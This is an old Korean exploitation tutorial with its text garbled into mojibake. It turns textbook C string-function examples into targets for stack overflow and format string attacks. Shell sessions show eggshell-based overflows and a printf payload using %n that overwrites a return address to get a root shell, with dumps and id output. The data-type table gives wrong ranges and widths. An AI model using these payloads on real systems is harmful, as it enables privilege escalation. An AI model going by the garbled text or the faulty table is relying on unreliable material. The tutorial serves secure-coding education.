======================================================================================================= Title : ¿¹Á¦°ø·«À» ÅëÇÑ Overflow & Format string Author : À¯µ¿ÈÆ (Xpl017Elz) E-mail : szoahc@hotmail.com Home: http://x82.i21c.net Date : 2001/10/12 ======================================================================================================= ÀÛÀÚÁÖ: ÀÌ ¹®¼­´Â Overflow & Format string attackÀ» °øºÎÇÏ´Â À̵éÀ» À§ÇØ Á¦À۵Ǿú½À´Ï´Ù. ¸¸¾à, ¹®¼­ÀÇ ³»¿ëÁß ¿À·ù°¡ ÀÖ´Ù¸é szoahc@hotmail.comÀ¸·Î mail ÁÖ½Ã¸é °¨»çÇÏ°Ú½À´Ï´Ù. ======================================================================================================= Âü°í ÀÚ·á: * All Data Types in the proposed ANSI standard Type Bit width¨£ Range¨£ char 8 ASCII characters unsigned char 8 0 to 255 signed char 8 -128 to 127 int 16 -32768 to 32767 unsigned int 16 0 to 65535 signed int 16 -32768 to 32767 short int 8 -128 to 127 unsigned short int 8 0 to 255 signed short int 8 -128 to 127 long int 32 -2147483648 to 2147483649 signed long int 32 -2147483648 to 2147483649 unsigned long int 32 0 to 4294967296 float 32 Approximately 6 digits of precision double 64 Approximately 12 digits of precision long double 128 Approximately 24 digits of precision ¨£cited widths and ranges assume a 16-bit word ======================================================================================================= ÀÔ·ÂÇÔ¼ö scanf, gets Overflow Ãß°¡³»¿ë ¹× 1989³âµµ C¾ð¾î ¹ø¿ª¼­Áß Ã·ºÎµÈ ³»¿ëÀÔ´Ï´Ù. ¡Ø Âü°í·Î °ø°ÝÀÚÀÇ Çؼ³Àº ¾ÕºÎºÐ¿¡ '>'·Î Ç¥±âÇÏ¿© ±¸ºÐÇÏ¿´À½À» ¾Ë·Áµå¸³´Ï´Ù. ======================================================================================================= strcpy() ÇÔ¼ö #include char *strcpy(str1,str2); char *str1, *str2; ¼­ ¼ú ÇÔ¼ö strcpy()´Â str2ÀÇ ³»¿ëÀ» str1À¸·Î copyÇϴµ¥ »ç¿ëµÈ´Ù. ¿ä¼Ò str2´Â NULL Á¾°áµÈ stringÀ¸·ÎÀÇ Æ÷ÀÎÅÍ°¡ Ʋ¸²¾ø´Ù. ÇÔ¼ö´Â Æ÷ÀÎÅ͸¦ str2·Î ¹Ý¼ÛÇÑ´Ù. ¸¸¾à str1°ú str2°¡ °ãÃÄÁö¸é, strcpy()ÀÇ ÇàÀ§°¡ Á¤ÀǵÇÁö ¾Ê´Â´Ù. ¿¹ Á¦ ´ÙÀ½ ÄÚµå´Â »ç¿ëÀÚ¿¡°Ô·ÎºÎÅÍ ÀԷ¹ÞÀº °ªÀ» string str1·Î copyÇÏ´Â sourceÀÌ´Ù. char str1[80]; strcpy(str1,argv[1]); °ü·Ã ÇÔ¼ö: strchr(), strcmp(), memcpy(), strncmp() > À§ÀÇ ¿¹Á¦´Â Overflow Ãë¾àÁ¡ÀÌ Á¸ÀçÇÑ´Ù. 80byte¸¦ ³Ñ±èÀ¸·Î½á ¹ÝȯÁÖ¼Ò¸¦ º¯°æÇÒ¼ö Àִ°ÍÀÌ´Ù. > Âü°í·Î, À§ÀÇ ³»¿ëÁß¿¡¼­ "¸¸¾à str1°ú str2°¡ °ãÃÄÁö¸é, strcpy()ÀÇ ÇàÀ§°¡ Á¤ÀǵÇÁö ¾Ê´Â´Ù." ¶ó´Â ºÎºÐÀÌ > ±× »ç½ÇÀ» Áõ¸íÇÏ°í ÀÖ´Ù. ´Ü, ÇÁ·Î±×·¥»óÀÇ °á°ú¸¸À» »ý°¢ÇÑ°ÍÀÌ´Ù. strncat() ÇÔ¼ö #include char *strncat(str1,str2,count); char *str1, *str2; unsigned int count; ¼­ ¼ú ÇÔ¼ö strncat()Àº str2°¡ ÁöÀûÇÑ stringÀÇ count ¹®Àڵ麸´Ù ¸¹Áö ¾Ê°Ô str1ÀÌ ÁöÀûÇÑ stringÀ¸·Î ¿¬°áÇÏ°í, NULL°ú ÇÔ²² str1À» Á¾°á½ÃŲ NULL Á¾°áÀÚ´Â str2ÀÇ Ã¹¹ø° ¹®ÀÚ¿¡ ÀÇÇؼ­ °ãÃľ²ÀδÙ. string str2´Â ¼Õ»óµÇÁö ¾Ê´Â´Ù. ÇÔ¼ö´Â str1À» ¹Ý¼ÛÇÑ´Ù. ±â ¾ï: ¹üÀ§Ã¼Å©°¡ ÀϾÁö ¾ÊÀ¸¹Ç·Î, str1ÀÌ ±×°ÍÀÇ ¿ø·¡ ³»¿ëµé°ú str2ÀÇ ¿ø·¡ ³»¿ëµéÀ» À¯ÁöÇϱ⿡ ÃæºÐÈ÷ Å©´Ù´Â°ÍÀ» º¸ÀåÇϴ°ÍÀº ÇÁ·Î±×·¡¸ÓÀÇ Ã¥ÀÓÀÌ´Ù. ¿¹ Á¦ ´ÙÀ½ ¿¹Á¦ ÇÁ·Î±×·¥Àº stdinÀ¸·ÎºÎÅÍ ÀÐÇôÁø ù¹ø° stringÀ» µÎ¹ø° string¿¡ ÷ºÎÇÏ°í, ¹ß»ýºÎÅÍ str1±îÁö ¹è¿­ÀÇ Overflow¸¦ ¸·´Â´Ù. ¿¹¸¦ µé¾î »ç¿ëÀÚ°¡ hello¿Í thereÀ» ÀÔ·ÂÇÑ´Ù °¡Á¤Çϸé ÇÁ·Î±×·¥Àº therehello¸¦ Ãâ·ÂÇÑ´Ù. #include main() { char s1[80], s2[80]; unsigned int len; gets(s1); gets(s2); len = 79 - strlen(s2); strncat(s2,s1,len); printf(s2); } °ü·Ã ÇÔ¼ö: strnchr(), strncmp(), strncpy(), strcat() > ÀÛÀÚÀÇ ¸»´ë·Î Overflow¸¦ ¹æÁöÇϱâÀ§ÇØ ¸Ó¸®¸¦ ¾´°Ç »ç½ÇÀÎ°Í °°´Ù. ÇÏÁö¸¸, > gets() ÇÔ¼ö°¡ ÀÔ·ÂÀ» ¹Þ´ÂºÎºÐ¿¡¼­ üũ¸¦ ÇÏÁö¾Ê´Â ´Ù´ÂÁ¡À» »ý°¢Ä¡ ¸øÇÑ°Í°°´Ù. À§ÀÇ ¸»´ë·Î¶ó¸é > Overflow°¡ ÀϾÁö ¾Ê¾Æ¾ß ÇÑ´Ù. [root@xpl017elz /tmp]# ./strncat xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxx Segmentation fault [root@xpl017elz /tmp]# > gets() ÇÔ¼ö´öºÐ¿¡ ¹è¿­ÀÇ Overflow°¡ ÀϾ°Ô µÈ°ÍÀÌ´Ù. > ´ÙÀ½Àº °£´ÜÈ÷ eggshellÀ» ÅëÇØ shellÀ» ¶ç¿ì´Â°ÍÀÌ´Ù. [root@xpl017elz /tmp]# gcc -o eggshell eggshell.c && ./eggshell Using address: 0xbffffb68 [root@xpl017elz /tmp]# (echo $RET;cat) | ./strncat id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) whoami root > ½±°Ô shellÀ» ¶ç¿ì´Âµ¥ ¼º°øÇÏ¿´´Ù. > "len = 79 - strlen(s2);" ºÎºÐÀÌ ¹«¿ëÁö¹°ÀÌ µÇ´Â°ÍÀº ¶Ç ÇÑ°¡ÁöÀÖ´Ù. > À§ÀÇ Source°¡ 89³âµµ¿¡ Á¦À۵Ǿú´Ù´ÂÁ¡À» °¨¾ÈÇÑ´Ù¸é Áö³ªÄ¥¼öÀÖ´Â ¹®Á¦Áö¸¸, Ãâ·ÂÇÏ´Â ºÎºÐ¿¡¼­ > format stringÀ» »ç¿ëÇÏÁö ¾Ê°í s2 º¯¼ö¸¦ ±×´ë·Î Ãâ·ÂÇÑ´Ù. > Áï, format string Ãë¾àÁ¡¿¡ ³ëÃâµÇÀִ°ÍÀÌ´Ù. [root@xpl017elz /tmp]# ./strncat ZZZZ%x%x%x%x%x%x%x%x%x%x AAAA%x%x%x%x%x%x%x%x%x%x AAAA374141414178257825782578257825782578257825782578255a5a5a5a7825782578257825ZZ ZZ7825782578257825782578254010640018808049638bffff1a040009fad400103c7 [root@xpl017elz /tmp]# > ÀÌ ¶ÇÇÑ, ¾à°£ÀÇ ÀÛ¾÷À¸·Î °£´ÜÈ÷ shellÀ» ¶ç¿ï¼öÀÖ´Ù. > gdb ÀÛ¾÷À» ÅëÇØ return address°¡ 0xbffff1cc¶õ°ÍÀ» ¾ò´Â´Ù. > ¶ÇÇÑ, shellcode°¡ ¶ç¿öÁ®ÀÖ´Â address¸¦ 16Áø¼ö·Î °è»êÇÑ´Ù. (0x) (bfff): 64356 (fb64): 50331 > ±×ÈÄ, exploitÀ» ÅëÇØ ´ÙÀ½°ú °°Àº format stringÀ» ±¸¼ºÇÏ¿´´Ù. > (s2¿¡ µ¡ºÙ¾îÁú s1ºÎºÐ °ø°Ý. Áï, stackÀÇ ¾Æ·¡ºÎºÐ) [root@xpl017elz /tmp]# (printf "\x82\x82\x82\x82\xcc\xf1\xff\xbf\x82\x82\x82\x82\xce \xf1\xff\xbf%%8x%%64332c%%n%%50331c%%n";cat)|./strncat > °ø °Ý id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) exit > shellÀ» ¶ç¿ì´Âµ¥ ¼º°øÇÏ¿´´Ù. > dumpcode¸¦ ÀÌ¿ëÇÑ ¿¹Á¦: ?xb ffff128 82 82 82 82 cc f1 ff bf 82 82 82 82 ce f1 ff bf ................ 0xbffff138 25 38 78 25 36 34 33 33 32 63 25 6e 25 35 30 33 %8x%64332c%n%503 0xbffff148 33 31 63 25 6e 00 10 40 6c f1 ff bf 0a 04 07 40 31c%n..@l......@ 0xbffff158 8c 64 10 40 88 01 00 00 00 00 00 00 88 98 04 08 .d.@............ 0xbffff168 a0 f1 ff bf ad 9f 00 40 c7 03 01 40 38 2e 01 40 .......@...@8..@ 0xbffff178 82 82 82 82 cc f1 ff bf 82 82 82 82 ce f1 ff bf ................ 0xbffff188 25 38 78 25 36 34 33 33 32 63 25 6e 25 35 30 33 %8x%64332c%n%503 0xbffff198 33 31 63 25 6e 00 02 40 c8 f1 ff bf 20 a1 00 40 31c%n..@.... ..@ 0xbffff1a8 eb 68 0f 40 9c 97 04 08 10 a6 00 40 14 f2 ff bf .h.@.......@.... 0xbffff1b8 c8 f1 ff bf 8b 84 04 08 88 97 04 08 9c 97 04 08 ................ 0xbffff1c8 e8 f1 ff bf 64 fb ff bf 01 00 00 00 14 f2 ff bf ....d........... 0xbffff1d8 1c f2 ff bf 24 20 01 40 01 00 00 00 f0 83 04 08 ....$ .@........ 0xbffff1e8 00 00 00 00 11 84 04 08 ........ > s1¿µ¿ª s2¿µ¿ªÀÌ È®¿¬È÷ ±¸ºÐµÈ´Ù. ¿©±â¼­, Return address°¡ 0xbffffb64·Î Á¤È®È÷ º¯°æµÈ°ÍÀ» º¼¼öÀÖ´Ù. > À̷νá ÇÁ·Î±×·¥ ¹ö±×¸¦ ¸·±âÀ§ÇÑ À§ÀÇ ¿¹Á¦¸¦ ¹«·ÂÈ­ Çغ¸¾Ò´Ù. > ¸î ÆäÀÌÁö¸¦ ³Ñ±â´Ùº¸´Ï ¶Ç ÇϳªÀÇ ¿¹Á¦°¡ ÀÖ¾ú´Ù. > "¹è¿­ ¹üÀ§ ¿À¹öÇ÷ο찡 ÀϾÁö ¾Ê´Â´Ù´Â°ÍÀ» È®½ÅÇ϶ó"? ¶ó´Â ¹®±¸ÀÇ ±ÛÀ» ´ãÀº ¿¹Á¦¿´´Ù. strncpy() ÇÔ¼ö #include char *strncpy(str1,str2,count); char *str1, *str2; ¼­ ¼ú ÇÔ¼ö strncpy()´Â count ¹®Àڵ鿡 µû¶ó¼­ str2°¡ ÁöÀûÇÑ stringÀ¸·Î ºÎÅÍ str1ÀÌ ÁöÀûÇÑ stringÀ¸·Î copyÇϴµ¥ »ç¿ëµÈ´Ù. ¿ä¼Ò str2´Â NULL Á¾°áµÈ stringÀ¸·ÎÀÇ Æ÷ÀÎÅÍÀ̾î¾ß ÇÑ´Ù. ÇÔ¼ö´Â Æ÷ÀÎÅ͸¦ str1À¸·Î ¹Ý¼ÛÇÑ´Ù. ¸¸¾à str1°ú str2°¡ °ãÃÄÁö¸é, strncpy() ÇÔ¼öÀÇ ÇàÀ§´Â Á¤ÀǵÇÁö ¾Ê´Â´Ù. ¸¸¾à str2°¡ ÁöÀûÇÑ stringÀÌ count ¹®Àڵ麸´Ù ´õ Àû°Ô Æ÷ÇÔÇÑ´Ù¸é, count ¹®ÀÚµéÀÌ copyÇÒ¶§±îÁö NULL ¹®ÀÚµéÀÌ str1ÀÇ ³¡¿¡ ÷ºÎµÈ´Ù. ¾çÀÚÅÃÀÏ·Î, ¸¸¾à str1°¡ ÁöÀûÇÑ stringÀÌ count ¹®Àڵ麸´Ù ´õ ±æ´Ù¸é str1ÀÌ ÁöÀûÇÑ °á°úÀûÀÎ stringÀº NULL Á¾°áµÇÁö ¾Ê´Â´Ù. ¿¹ Á¦ ´ÙÀ½ÀÇ ÄÚµå´Ü¸éÀº str1ÀÇ ÃÖ´ë 79°³ÀÇ ¹®ÀÚ¸¦ str2·Î copyÇÑ´Ù. ±×·¡¼­ ¹è¿­ ¹üÀ§ ¿À¹öÇ÷ο찡 ÀϾÁö ¾Ê´Â´Ù´Â°ÍÀ» È®½ÅÇ϶ó. char str1[128], str2[80]; gets(str1); strncpy(str2,str1,79); °ü·Ã ÇÔ¼ö: strchr(), strncmp(), memcpy(), strncat() > À§ÀÇ sourceµµ ¸¶Âù°¡ÁöÀÌ´Ù. gets() ÇÔ¼öÀÇ ÀԷºκп¡¼­ ¹è¿­ ¹üÀ§ ¿À¹öÇ÷ο츦 ÀÏÀ¸Å°¹Ç·Î, > ¿À¹öÇ÷ο찡 ÀϾ´Â°ÍÀ» ÇÇÇÒ¼ö¾ø´Ù. > À§ÀÇ eggshellÀ» ÀÌ¹Ì ¶ç¿î »óÅÂÀÌ´Ù. [root@xpl017elz /tmp]# (echo $RET;cat)|./strncpy id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) whoami root exit [root@xpl017elz /tmp]# > :-) > °á ·Ð > ÇÁ·Î±×·¡¹ÖÀ» ¾ÈÀüÇÏ°Ô ±¸ÇöÇϱâ À§Çؼ± string °ü·ÃÇÔ¼öÀÇ »ç¿ëÀ» ½ÅÁßÈ÷ °í·ÁÇغÁ¾ß ÇÒ°ÍÀÌ´Ù. > »Ó¸¸¾Æ´Ï¶ó, ÀÔ·ÂÇÔ¼ö ºÎºÐ¿¡¼± Ç×»ó ¹è¿­ ¹üÀ§ÀÇ ¿À¹öÇ÷ο츦 Áö´Ï°í ÀÖ¾î ¸Å¿ì À§ÇèÇÏ´Ù. > ÀÌ´Â, C¾ð¾î»ó¿¡¼­ µû·Î ¹Ù¿î½ºÃ¼Å©(ÇÔ¼öÀÇ °æ°è°ªÃ¼Å©) ÀÛ¾÷À» °ÅÄ¡Áö ¾Ê±â¶§¹®¿¡ ¹ß»ýÇÏ´Â Ä¡¸íÀûÀÎ ¹®Á¦ÀΰÍÀÌ´Ù. > Âü°í·Î Boundary¸¦ Á¡°ËÇÏ´Â ÇÔ¼ö´Â fgets(), strncpy(), strncat() µîÀÌ ÀÖ°í, > Á¡°ËÇÏÁö ¾Ê´Â ÇÔ¼öµéÀº strcat(), strcpy(), gets(), sprintf(), scanf() µîÀÌ ÀÖ´Ù. > ¿©·¯ºÐÀº À§ÀÇ »çÇ×µéÀ» °øºÎÇÏ¿´À¸¹Ç·Î, ´õÀÌ»óÀÇ ÇÁ·Î±×·¡¹Ö»óÀÇ ½Ç¼ö´Â ¾øÀ¸¸®¶ó »ý°¢ÇÑ´Ù. > ºñ·Ï, ¼º´ÉÀÌ ³·¾ÆÁúÁö¶óµµ Ãë¾àÁ¡ÀÌ ¾ø´Â ÇÁ·Î±×·¥À» °³¹ßÇÑ´Ù¸é, ±×°Í¸¸Å­ ÈǸ¢ÇÑ ÇÁ·Î±×·¥Àº ¾ø´Ù. > ±×·±, ÈǸ¢ÇÑ ÇÁ·Î±×·¥À» °³¹ßÇϴ°ÍÀÌ ÇÁ·Î±×·¡¸ÓµéÀÇ »ç¸íÀÌ ¾Æ´Ò±î(?) »ý°¢ÇÑ´Ù. :-p Âü°í ÀÚ·á: C¾ð¾î Çؼ³¹ø¿ª¼­ # The Complete Reference (Àú ÀÚ: Herbert Schildt)